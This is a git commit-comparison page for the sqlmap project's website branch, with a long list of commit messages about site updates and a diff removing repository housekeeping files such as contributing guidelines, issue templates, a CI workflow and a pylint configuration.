Compare commits

..
137 Commits
Author SHA1 Message Date
Bernardo Damele A. G. 1a0fe21916 Added back GA script 2026-06-14 01:11:59 +02:00
Bernardo Damele A. G. d9a66f8a42 Remove old avatar image 2026-06-08 13:33:42 +02:00
Bernardo Damele A. G. 293cbc46b9 Added og author and publish dates 2026-06-08 13:15:23 +02:00
Bernardo Damele A. G. 7abd534459 Ignore MacOS file system hidden files 2026-06-08 13:08:01 +02:00
Bernardo Damele A. G. 1ef8a01952 Improved og card and removed padding from demo video 2026-06-08 13:04:36 +02:00
Bernardo Damele A. G. fbb391ed83 slight adjustment to logo for preview 2026-06-07 20:58:44 +02:00
Bernardo Damele A. G. 75db14db89 removed legacy website 2026-06-07 20:47:36 +02:00
Bernardo Damele A. G. 590ae9fec2 updated website 2026-06-07 20:46:25 +02:00
Bernardo Damele A. G. f941ac74d0 updated logo and favicon 2026-06-07 20:38:12 +02:00
Bernardo Damele A. G. 1d8b9f07b4 Added original logo 2026-06-07 13:39:50 +02:00
Bernardo Damele A. G. 5f43a868bb Added new logo and favicons 2026-06-07 13:08:15 +02:00
Miroslav Stampar bc1726e094 Adding Spanner to the list of supported DBMSes 2026-03-14 10:57:15 +01:00
Miroslav Stampar c6f904aa72 Adding Snowflake to the list of supported DBMSes 2026-01-12 21:58:32 +01:00
Miroslav Stampar b87094bd82 Removing latest style updates 2025-12-26 01:06:55 +01:00
Miroslav Stampar 87b6b2e503 Minor style fix for the frontpage 2025-12-26 00:55:44 +01:00
Miroslav Stampar ae37564eae Minor style update of the frontpage 2025-12-26 00:43:41 +01:00
Miroslav Stampar 29917f4eee TwitterJS doesn't work any more (due to policy changes) 2025-07-26 17:01:26 +02:00
Miroslav Stampar b5264ff5aa Minor update of supported DBMSes 2025-05-08 16:22:44 +02:00
Miroslav Stampar 28cac215e1 Year bump 2025-01-02 00:48:01 +01:00
Bernardo Damele A. G. bfb345f92b Updated Google Analytics script 2024-10-27 10:20:58 +01:00
Miroslav Stampar 03c198997a Copyright year bump 2024-01-03 23:31:42 +01:00
Miroslav Stampar efb3f4591d Minor update of supported DBMSes 2023-12-08 01:33:57 +01:00
Bernardo Damele A. G fd4bd96847 Update index.html
Minor improvement to PayPal donation link
2023-11-20 10:35:21 +00:00
Bernardo Damele A. G b79419d552 Updated PayPal donation link 2023-11-19 15:14:47 +00:00
Miroslav Stampar fec6e149de Adding entry for ClickHouse DBMS 2023-02-04 00:32:22 +01:00
Miroslav Stampar 6f4f1b4a42 Copyright year bump 2023-01-02 23:52:41 +01:00
Bernardo Damele A. G 79c84365ec Update index.html
Updated Donations paragraph
2022-07-14 09:46:18 +00:00
Miroslav Stampar 1540393048 Copyright year bump 2022-01-03 11:45:33 +01:00
Miroslav Stampar 6455db487e Minor update 2021-05-17 10:44:56 +02:00
Bernardo Damele A. G a400a5355c updated donation section 2021-03-11 18:15:41 +00:00
Miroslav Stampar 3c5b3685d5 Minor update 2021-02-15 14:13:37 +01:00
Miroslav Stampar 57eae1485e Year bump 2021-01-24 14:25:01 +01:00
Miroslav Stampar 3a87264926 Minor update 2021-01-13 11:51:19 +01:00
Miroslav Stampar c66c9e2619 Minor adjustments 2020-11-10 22:32:27 +01:00
Miroslav Stampar 88c76be503 Update regarding sponsorship 2020-11-10 22:22:28 +01:00
Miroslav Stampar 05a7b979f9 Update of supported DBMSes 2020-03-02 13:17:46 +01:00
Miroslav Stampar 03fb315c88 Minor update 2020-02-26 17:36:02 +01:00
Miroslav Stampar 6c87fa5b99 Update of supported DBMSes 2020-02-25 12:36:30 +01:00
Miroslav Stampar 46a315f32c Update of supported DBMSes 2020-02-03 21:47:55 +01:00
Miroslav Stampar f49141f716 Update of supported DBMSes 2020-02-02 15:13:10 +01:00
Miroslav Stampar 89f86e057c Update of supported DBMSes 2020-01-31 21:33:31 +01:00
Miroslav Stampar a6b3104600 Added support for TiDB 2020-01-23 23:37:36 +01:00
Miroslav Stampar 0521da949a Added support for Presto 2020-01-23 17:02:39 +01:00
Miroslav Stampar 6a02f97756 Minor update 2020-01-22 23:44:13 +01:00
Miroslav Stampar 4b80a02462 Minor update 2020-01-21 23:29:17 +01:00
Miroslav Stampar 0e6d72acab Adding new DBMS on list 2020-01-21 15:42:04 +01:00
Miroslav Stampar 40e2e781e7 Minor update 2020-01-20 16:33:52 +01:00
Miroslav Stampar 09f88dab39 Added support for MonetDB 2020-01-17 17:16:32 +01:00
Miroslav Stampar ea10d25920 Year bump 2020-01-01 13:37:05 +01:00
Miroslav Stampar 1ed325e890 Minor update 2019-11-15 09:40:56 +01:00
Miroslav Stampar fe8826610b Adding tarsier eyes 2019-10-23 15:28:45 +02:00
Miroslav Stampar 14b564c254 Updating main sqlmap screenshot (with newer color style) 2019-04-30 10:49:29 +02:00
Miroslav Stampar f57b1e8bbb update_copyright_year() 2019-01-05 23:02:40 +01:00
Miroslav Stampar 4494a57e69 Update of supported DBMSes 2018-10-16 14:57:53 +02:00
Miroslav Stampar d64413d84b Minor update 2018-10-04 23:01:04 +02:00
Miroslav Stampar f73c36b1ad Update of Netsparker content 2018-10-02 12:25:38 +02:00
Miroslav Stampar 5df443194e Update of a year 2018-08-28 14:37:42 +02:00
Miroslav Stampar 86fd2c6b36 Updating banner link 2018-01-12 14:44:21 +01:00
Miroslav Stampar 2e14521087 Update of license link 2017-10-11 15:05:07 +02:00
Miroslav Stampar 96039cfea8 Update of sponsorship (newline missing) 2017-10-10 14:42:16 +02:00
Miroslav Stampar c155f285f6 Update of sponsorship (text) 2017-10-10 14:31:38 +02:00
Miroslav Stampar 47a697254f Update of sponsorship (link) 2017-10-10 14:12:39 +02:00
Miroslav Stampar b9b0d31bd4 Sponsorship update (image) 2017-10-10 13:48:35 +02:00
Miroslav Stampar a32f2ba106 Sponsorship update 2017-10-10 13:45:06 +02:00
Bernardo Damele A. G 82c7a3bd8e fixed Twitter handler 2017-10-02 20:23:02 +01:00
Miroslav Stampar cee9c15014 Update index.html 2017-04-18 14:25:16 +02:00
Miroslav Stampar 7476e762a3 Removing deprecated stuff 2017-04-07 15:36:04 +02:00
Miroslav Stampar 0c413e80f2 Update index.html 2017-01-02 14:35:13 +01:00
Miroslav Stampar 113ae101b5 Update index.html 2017-01-02 14:33:11 +01:00
Miroslav Stampar 583282b062 Adding Informix to list of supported DBMSes 2016-09-26 17:34:41 +02:00
Miroslav Stampar 27f0a9655b Minor update 2016-05-24 17:44:17 +02:00
Miroslav Stampar d08ff6c76d Minor update 2016-05-24 17:41:48 +02:00
Miroslav Stampar 4ab701d0c1 Update of given demo (with latest revision) 2016-05-24 17:37:20 +02:00
Miroslav Stampar 7fed7ece57 Adding an easter egg for web scanners 2016-05-12 12:19:10 +02:00
Miroslav Stampar 0cbb2e5213 Update index.html 2016-01-06 00:09:06 +01:00
Miroslav Stampar a7754fe1e6 Update index.html 2015-12-07 00:50:59 +01:00
Miroslav Stampar a161a8a9ec Update index.html 2015-12-07 00:47:25 +01:00
Miroslav Stampar f77b6e5609 Update index.html 2015-12-07 00:28:36 +01:00
Miroslav Stampar 73407a38ac Update index.html 2015-01-14 22:38:28 +01:00
Miroslav Stampar da3c068d28 Update index.html 2015-01-06 15:07:04 +01:00
Miroslav Stampar 69548f3ba9 Update for an Issue #996 2014-12-07 07:50:57 +01:00
Bernardo Damele A. G. b169393080 Create README.md 2014-11-21 15:44:28 +00:00
Miroslav Stampar 88a35cba8b Revert of last commit
To be consistent with LICENSE
2014-10-31 00:20:26 +01:00
Miroslav Stampar 5b5dd8ca7e Consistency update (with the below data) 2014-10-30 23:39:09 +01:00
Miroslav Stampar 9611e86ea9 Update index.html 2014-10-02 21:29:06 +02:00
Miroslav Stampar 5f961bde64 Update stylesheet.css 2014-10-02 21:04:42 +02:00
Miroslav Stampar 899f725faa Minor fix (hide also timeline when size is constrained - same as for buttons) 2014-10-02 17:11:45 +02:00
Miroslav Stampar 45dd03864c Adding twitter widget and minor fix on resize 2014-10-02 17:02:43 +02:00
Miroslav Stampar aedfa32a65 Minor update 2014-10-02 16:12:09 +02:00
Miroslav Stampar de7f68e286 Update 2014-10-02 15:50:15 +02:00
Miroslav Stampar ba16f6d1c6 Spicing up a bit 2014-10-02 11:04:22 +02:00
Miroslav Stampar 3915b6b404 Style update 2014-10-02 10:35:31 +02:00
Miroslav Stampar b626bf19b3 Minor style update 2014-10-02 10:11:14 +02:00
Miroslav Stampar da4f1766d6 Update index.html 2014-10-01 15:34:01 +02:00
Miroslav Stampar bbd7c869a2 Update index.html 2014-10-01 15:28:27 +02:00
Miroslav Stampar 9cc5c789eb Update index.html 2014-10-01 15:26:23 +02:00
Miroslav Stampar 152edcedcd Update index.html 2014-10-01 14:34:28 +02:00
Miroslav Stampar b0f3fd2b93 Update index.html 2014-10-01 14:32:08 +02:00
Miroslav Stampar 7dc3858eff Update index.html
See https://github.com/sqlmapproject/sqlmap/commit/11a925a06fc25464dc48f9e3531b4df57ca1a2bf for details
2013-07-01 11:19:43 +02:00
Miroslav Stampar 11a925a06f API v1 of Twitter API is deprecated 2013-07-01 11:09:34 +02:00
Miroslav Stampar de87f0dec7 Update index.html 2013-06-13 21:26:37 +03:00
Miroslav Stampar 7781df431f Update index.html 2013-06-13 21:25:44 +03:00
Miroslav Stampar 4ed9766eb8 Update index.html 2013-06-05 01:00:19 +03:00
Miroslav Stampar b8c5cbc31d Update index.html 2013-05-28 11:51:22 +02:00
Miroslav Stampar c0a485f68d There was a bug displaying Twitter statuses 2013-04-22 13:18:18 +03:00
Miroslav Stampar 8bac07c38d Adding anchors 2013-02-12 10:55:39 +01:00
Bernardo Damele cd1a936bfd changed donations email address 2012-08-30 10:50:21 +01:00
Miroslav Stampar 001dec05db Minor fix 2012-08-03 14:13:16 +02:00
Bernardo Damele c55eeefd65 change of email 2012-07-25 11:23:54 +01:00
Bernardo Damele 30524f3f22 minor fix 2012-07-16 22:57:13 +01:00
Bernardo Damele bc1d0a19ed minor fix 2012-07-16 22:57:03 +01:00
Bernardo Damele fccaced18e minor fix 2012-07-16 22:56:40 +01:00
Bernardo Damele 3cde119fd7 minor update to homepage 2012-07-16 22:55:48 +01:00
Bernardo Damele 7bc76558ec Update gh-pages 2012-07-16 18:16:27 +02:00
Bernardo Damele f6e8d5c564 added FAQ link to homepage 2012-07-16 18:14:34 +02:00
Bernardo Damele a68d107c18 Update gh-pages 2012-07-16 18:03:24 +02:00
Bernardo Damele 854a35be6c reordered paragraphs 2012-07-16 16:28:52 +01:00
Bernardo Damele 4e4c1a2eca updated homepage 2012-07-16 16:20:15 +01:00
Miroslav Stampar b471a64c98 minor language update 2012-06-27 14:37:44 +02:00
Miroslav Stampar 74d2147de8 some more language fixes 2012-06-27 14:03:03 +02:00
Miroslav Stampar 9c54758922 minor language fix 2012-06-27 13:57:38 +02:00
Bernardo Damele 8f7a1af64b added CNAME file for website 2012-06-27 11:32:36 +01:00
Bernardo Damele 92b98a9782 Deleted twitter image from root 2012-06-27 11:21:35 +01:00
Bernardo Damele 640206f53e added blog link 2012-06-27 11:17:34 +01:00
Bernardo Damele 5db6f4fef7 Moved twitter image to images/ 2012-06-27 11:16:40 +01:00
Bernardo Damele 192dcb8f38 updated homepage 2012-06-27 11:15:13 +01:00
Bernardo Damele e7a353a78c added missing files 2012-06-27 11:15:02 +01:00
Bernardo Damele 677e34cb95 enhancement to homepage 2012-06-27 11:13:00 +01:00
Bernardo Damele cd3778f675 added favicon 2012-06-27 11:12:41 +01:00
Bernardo Damele 9918e02ca9 minor layout adjustments 2012-06-27 11:07:36 +01:00
Bernardo Damele 4a0273ad47 minor layout adjustments 2012-06-27 11:06:16 +01:00
Bernardo Damele cacd271953 minor layout adjustments 2012-06-27 11:03:42 +01:00
Bernardo Damele 89461e6273 minor layout adjustments 2012-06-27 11:03:04 +01:00
Bernardo Damele 0c5f7562e1 minor layout adjustments 2012-06-27 11:01:39 +01:00
Bernardo Damele 6229da3b0a minor layout adjustments 2012-06-27 10:56:33 +01:00
Bernardo Damele 264be1c274 minor layout adjustments 2012-06-27 10:55:40 +01:00
Bernardo Damele 5682a85075 Create gh-pages branch via GitHub 2012-06-27 02:47:28 -07:00
634 changed files with 68 additions and 123674 deletions
-19
View File
@@ -1,19 +0,0 @@
*.conf text eol=lf
*.md text eol=lf
*.md5 text eol=lf
*.py text eol=lf
*.xml text eol=lf
LICENSE text eol=lf
COMMITMENT text eol=lf
*_ binary
*.dll binary
*.pdf binary
*.so binary
*.wav binary
*.zip binary
*.x32 binary
*.x64 binary
*.exe binary
*.sln binary
*.vcproj binary
-46
View File
@@ -1,46 +0,0 @@
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at dev@sqlmap.org. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version]
[homepage]: http://contributor-covenant.org
[version]: http://contributor-covenant.org/version/1/4/
-36
View File
@@ -1,36 +0,0 @@
# Contributing to sqlmap
## Reporting bugs
**Bug reports are welcome**!
Please report all bugs on the [issue tracker](https://github.com/sqlmapproject/sqlmap/issues).
### Guidelines
* Before you submit a bug report, search both [open](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aopen+is%3Aissue) and [closed](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) issues to make sure the issue has not come up before. Also, check the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) for anything relevant.
* Make sure you can reproduce the bug with the latest development version of sqlmap.
* Your report should give detailed instructions on how to reproduce the problem. If sqlmap raises an unhandled exception, the entire traceback is needed. Details of the unexpected behaviour are welcome too. A small test case (just a few lines) is ideal.
* If you are making an enhancement request, lay out the rationale for the feature you are requesting. *Why would this feature be useful?*
## Submitting code changes
All code contributions are greatly appreciated. First off, clone the [Git repository](https://github.com/sqlmapproject/sqlmap), read the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki) carefully, go through the code yourself and [drop us an email](mailto:[email protected]) if you are having a hard time grasping its structure and meaning. We apologize for not commenting the code enough - you could take a chance to read it through and [improve it](https://github.com/sqlmapproject/sqlmap/issues/37).
Our preferred method of patch submission is via a Git [pull request](https://help.github.com/articles/using-pull-requests).
Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md) have contributed in different ways to the sqlmap development. **You** can be the next!
### Guidelines
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
* Each patch should make one logical change.
* Avoid tabbing, use four blank spaces instead.
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
* Make changes on less than five files per single pull request - there is rarely a good reason to have more than five files changed on one pull request, as this dramatically increases the review time required to land (commit) any of those pull requests.
* Style that is too different from main branch will be ''adapted'' by the developers side.
* Do not touch anything inside `thirdparty/` and `extra/` folders.
### Licensing
By submitting code contributions to the sqlmap developers or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap copyright holders the unlimited, non-exclusive right to reuse, modify, and relicense the code. This is important because the inability to relicense code has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them.
-1
View File
@@ -1 +0,0 @@
custom: 'https://www.paypal.com/donate?hosted_button_id=A34GMDLKA2V7G'
-37
View File
@@ -1,37 +0,0 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: bug report
assignees: ''
---
**Describe the bug**
A clear and concise description of what the bug is.
**To Reproduce**
1. Run '...'
2. See error
**Expected behavior**
A clear and concise description of what you expected to happen.
**Screenshots**
If applicable, add screenshots to help explain your problem.
**Running environment:**
- sqlmap version [e.g. 1.3.5.93#dev]
- Installation method [e.g. git]
- Operating system: [e.g. Microsoft Windows 10]
- Python version [e.g. 3.5.2]
**Target details:**
- DBMS [e.g. Microsoft SQL Server]
- SQLi techniques found by sqlmap [e.g. error-based and boolean-based blind]
- WAF/IPS [if any]
- Relevant console output [if any]
- Exception traceback [if any]
**Additional context**
Add any other context about the problem here.
-20
View File
@@ -1,20 +0,0 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature request
assignees: ''
---
**Is your feature request related to a problem? Please describe.**
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
**Describe the solution you'd like**
A clear and concise description of what you want to happen.
**Describe alternatives you've considered**
A clear and concise description of any alternative solutions or features you've considered.
**Additional context**
Add any other context or screenshots about the feature request here.
-25
View File
@@ -1,25 +0,0 @@
on:
push:
branches: [ master ]
pull_request:
branches: [ master ]
jobs:
build:
runs-on: ${{ matrix.os }}
strategy:
matrix:
os: [ubuntu-latest, macos-latest, windows-latest]
python-version: [ '2.x', '3.10', 'pypy-2.7', 'pypy-3.7' ]
steps:
- uses: actions/checkout@v2
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: ${{ matrix.python-version }}
- name: Basic import test
run: python -c "import sqlmap; import sqlmapapi"
- name: Smoke test
run: python sqlmap.py --smoke
- name: Vuln test
run: python sqlmap.py --vuln
+7 -8
View File
@@ -1,8 +1,7 @@
output/
__pycache__/
*.py[cod]
.sqlmap_history
traffic.txt
*~
req*.txt
.idea/
.DS_Store
.github/.DS_Store
data/.DS_Store
extra/.DS_Store
lib/.DS_Store
plugins/.DS_Store
thirdparty/.DS_Store
-546
View File
@@ -1,546 +0,0 @@
# Based on Apache 2.0 licensed code from https://github.com/ClusterHQ/flocker
[MASTER]
# Specify a configuration file.
#rcfile=
# Python code to execute, usually for sys.path manipulation such as
# pygtk.require().
init-hook="from pylint.config import find_pylintrc; import os, sys; sys.path.append(os.path.dirname(find_pylintrc()))"
# Add files or directories to the blacklist. They should be base names, not
# paths.
ignore=
# Pickle collected data for later comparisons.
persistent=no
# List of plugins (as comma separated values of python modules names) to load,
# usually to register additional checkers.
load-plugins=
# Use multiple processes to speed up Pylint.
# DO NOT CHANGE THIS VALUES >1 HIDE RESULTS!!!!!
jobs=1
# Allow loading of arbitrary C extensions. Extensions are imported into the
# active Python interpreter and may run arbitrary code.
unsafe-load-any-extension=no
# A comma-separated list of package or module names from where C extensions may
# be loaded. Extensions are loading into the active Python interpreter and may
# run arbitrary code
extension-pkg-whitelist=
# Allow optimization of some AST trees. This will activate a peephole AST
# optimizer, which will apply various small optimizations. For instance, it can
# be used to obtain the result of joining multiple strings with the addition
# operator. Joining a lot of strings can lead to a maximum recursion error in
# Pylint and this flag can prevent that. It has one side effect, the resulting
# AST will be different than the one from reality.
optimize-ast=no
[MESSAGES CONTROL]
# Only show warnings with the listed confidence levels. Leave empty to show
# all. Valid levels: HIGH, INFERENCE, INFERENCE_FAILURE, UNDEFINED
confidence=
# Enable the message, report, category or checker with the given id(s). You can
# either give multiple identifier separated by comma (,) or put this option
# multiple time. See also the "--disable" option for examples.
disable=all
enable=import-error,
import-self,
reimported,
wildcard-import,
misplaced-future,
deprecated-module,
unpacking-non-sequence,
invalid-all-object,
undefined-all-variable,
used-before-assignment,
cell-var-from-loop,
global-variable-undefined,
redefine-in-handler,
unused-import,
unused-wildcard-import,
global-variable-not-assigned,
undefined-loop-variable,
global-at-module-level,
bad-open-mode,
redundant-unittest-assert,
boolean-datetime
deprecated-method,
anomalous-unicode-escape-in-string,
anomalous-backslash-in-string,
not-in-loop,
continue-in-finally,
abstract-class-instantiated,
star-needs-assignment-target,
duplicate-argument-name,
return-in-init,
too-many-star-expressions,
nonlocal-and-global,
return-outside-function,
return-arg-in-generator,
invalid-star-assignment-target,
bad-reversed-sequence,
nonexistent-operator,
yield-outside-function,
init-is-generator,
nonlocal-without-binding,
lost-exception,
assert-on-tuple,
dangerous-default-value,
duplicate-key,
useless-else-on-loop
expression-not-assigned,
confusing-with-statement,
unnecessary-lambda,
pointless-statement,
pointless-string-statement,
unnecessary-pass,
unreachable,
using-constant-test,
bad-super-call,
missing-super-argument,
slots-on-old-class,
super-on-old-class,
property-on-old-class,
not-an-iterable,
not-a-mapping,
format-needs-mapping,
truncated-format-string,
missing-format-string-key,
mixed-format-string,
too-few-format-args,
bad-str-strip-call,
too-many-format-args,
bad-format-character,
format-combined-specification,
bad-format-string-key,
bad-format-string,
missing-format-attribute,
missing-format-argument-key,
unused-format-string-argument
unused-format-string-key,
invalid-format-index,
bad-indentation,
mixed-indentation,
unnecessary-semicolon,
lowercase-l-suffix,
invalid-encoded-data,
unpacking-in-except,
import-star-module-level,
long-suffix,
old-octal-literal,
old-ne-operator,
backtick,
old-raise-syntax,
metaclass-assignment,
next-method-called,
dict-iter-method,
dict-view-method,
indexing-exception,
raising-string,
using-cmp-argument,
cmp-method,
coerce-method,
delslice-method,
getslice-method,
hex-method,
nonzero-method,
t-method,
setslice-method,
old-division,
logging-format-truncated,
logging-too-few-args,
logging-too-many-args,
logging-unsupported-format,
logging-format-interpolation,
invalid-unary-operand-type,
unsupported-binary-operation,
not-callable,
redundant-keyword-arg,
assignment-from-no-return,
assignment-from-none,
not-context-manager,
repeated-keyword,
missing-kwoa,
no-value-for-parameter,
invalid-sequence-index,
invalid-slice-index,
unexpected-keyword-arg,
unsupported-membership-test,
unsubscriptable-object,
access-member-before-definition,
method-hidden,
assigning-non-slot,
duplicate-bases,
inconsistent-mro,
inherit-non-class,
invalid-slots,
invalid-slots-object,
no-method-argument,
no-self-argument,
unexpected-special-method-signature,
non-iterator-returned,
arguments-differ,
signature-differs,
bad-staticmethod-argument,
non-parent-init-called,
bad-except-order,
catching-non-exception,
bad-exception-context,
notimplemented-raised,
raising-bad-type,
raising-non-exception,
misplaced-bare-raise,
duplicate-except,
nonstandard-exception,
binary-op-exception,
not-async-context-manager,
yield-inside-async-function
# Needs investigation:
# abstract-method (might be indicating a bug? probably not though)
# protected-access (requires some refactoring)
# attribute-defined-outside-init (requires some refactoring)
# super-init-not-called (requires some cleanup)
# Things we'd like to enable someday:
# redefined-builtin (requires a bunch of work to clean up our code first)
# redefined-outer-name (requires a bunch of work to clean up our code first)
# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760)
# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73)
# unused-argument (need to clean up or code a lot, e.g. prefix unused_?)
# function-redefined (@overload causes lots of spurious warnings)
# too-many-function-args (@overload causes spurious warnings... I think)
# parameter-unpacking (needed for eventual Python 3 compat)
# print-statement (needed for eventual Python 3 compat)
# filter-builtin-not-iterating (Python 3)
# map-builtin-not-iterating (Python 3)
# range-builtin-not-iterating (Python 3)
# zip-builtin-not-iterating (Python 3)
# many others relevant to Python 3
# unused-variable (a little work to cleanup, is all)
# ...
[REPORTS]
# Set the output format. Available formats are text, parseable, colorized, msvs
# (visual studio) and html. You can also give a reporter class, eg
# mypackage.mymodule.MyReporterClass.
output-format=parseable
# Put messages in a separate file for each module / package specified on the
# command line instead of printing them on stdout. Reports (if any) will be
# written in a file name "pylint_global.[txt|html]".
files-output=no
# Tells whether to display a full report or only the messages
reports=no
# Python expression which should return a note less than 10 (10 is the highest
# note). You have access to the variables errors warning, statement which
# respectively contain the number of errors / warnings messages and the total
# number of statements analyzed. This is used by the global evaluation report
# (RP0004).
evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
# Template used to display messages. This is a python new-style format string
# used to format the message information. See doc for all details
#msg-template=
[LOGGING]
# Logging modules to check that the string format arguments are in logging
# function parameter format
logging-modules=logging
[FORMAT]
# Maximum number of characters on a single line.
max-line-length=100
# Regexp for a line that is allowed to be longer than the limit.
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
# Allow the body of an if to be on the same line as the test if there is no
# else.
single-line-if-stmt=no
# List of optional constructs for which whitespace checking is disabled. `dict-
# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}.
# `trailing-comma` allows a space between comma and closing bracket: (a, ).
# `empty-line` allows space-only lines.
no-space-check=trailing-comma,dict-separator
# Maximum number of lines in a module
max-module-lines=1000
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
# tab).
indent-string=' '
# Number of spaces of indent required inside a hanging or continued line.
indent-after-paren=4
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
expected-line-ending-format=
[TYPECHECK]
# Tells whether missing members accessed in mixin class should be ignored. A
# mixin class is detected if its name ends with "mixin" (case insensitive).
ignore-mixin-members=yes
# List of module names for which member attributes should not be checked
# (useful for modules/projects where namespaces are manipulated during runtime
# and thus existing member attributes cannot be deduced by static analysis. It
# supports qualified module names, as well as Unix pattern matching.
ignored-modules=thirdparty.six.moves
# List of classes names for which member attributes should not be checked
# (useful for classes with attributes dynamically set). This supports can work
# with qualified names.
ignored-classes=
# List of members which are set dynamically and missed by pylint inference
# system, and so shouldn't trigger E1101 when accessed. Python regular
# expressions are accepted.
generated-members=
[VARIABLES]
# Tells whether we should check for unused import in __init__ files.
init-import=no
# A regular expression matching the name of dummy variables (i.e. expectedly
# not used).
dummy-variables-rgx=_$|dummy
# List of additional names supposed to be defined in builtins. Remember that
# you should avoid to define new builtins when possible.
additional-builtins=
# List of strings which can identify a callback function by name. A callback
# name must start or end with one of those strings.
callbacks=cb_,_cb
[SIMILARITIES]
# Minimum lines number of a similarity.
min-similarity-lines=4
# Ignore comments when computing similarities.
ignore-comments=yes
# Ignore docstrings when computing similarities.
ignore-docstrings=yes
# Ignore imports when computing similarities.
ignore-imports=no
[SPELLING]
# Spelling dictionary name. Available dictionaries: none. To make it working
# install python-enchant package.
spelling-dict=
# List of comma separated words that should not be checked.
spelling-ignore-words=
# A path to a file that contains private dictionary; one word per line.
spelling-private-dict-file=
# Tells whether to store unknown words to indicated private dictionary in
# --spelling-private-dict-file option instead of raising a message.
spelling-store-unknown-words=no
[MISCELLANEOUS]
# List of note tags to take in consideration, separated by a comma.
notes=FIXME,XXX,TODO
[BASIC]
# List of builtins function names that should not be used, separated by a comma
bad-functions=map,filter,input
# Good variable names which should always be accepted, separated by a comma
good-names=i,j,k,ex,Run,_
# Bad variable names which should always be refused, separated by a comma
bad-names=foo,bar,baz,toto,tutu,tata
# Colon-delimited sets of names that determine each other's naming style when
# the name regexes allow several styles.
name-group=
# Include a hint for the correct naming format with invalid-name
include-naming-hint=no
# Regular expression matching correct function names
function-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for function names
function-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct variable names
variable-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for variable names
variable-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct constant names
const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$
# Naming hint for constant names
const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$
# Regular expression matching correct attribute names
attr-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for attribute names
attr-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct argument names
argument-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for argument names
argument-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct class attribute names
class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
# Naming hint for class attribute names
class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
# Regular expression matching correct inline iteration names
inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$
# Naming hint for inline iteration names
inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$
# Regular expression matching correct class names
class-rgx=[A-Z_][a-zA-Z0-9]+$
# Naming hint for class names
class-name-hint=[A-Z_][a-zA-Z0-9]+$
# Regular expression matching correct module names
module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
# Naming hint for module names
module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
# Regular expression matching correct method names
method-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for method names
method-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression which should only match function or class names that do
# not require a docstring.
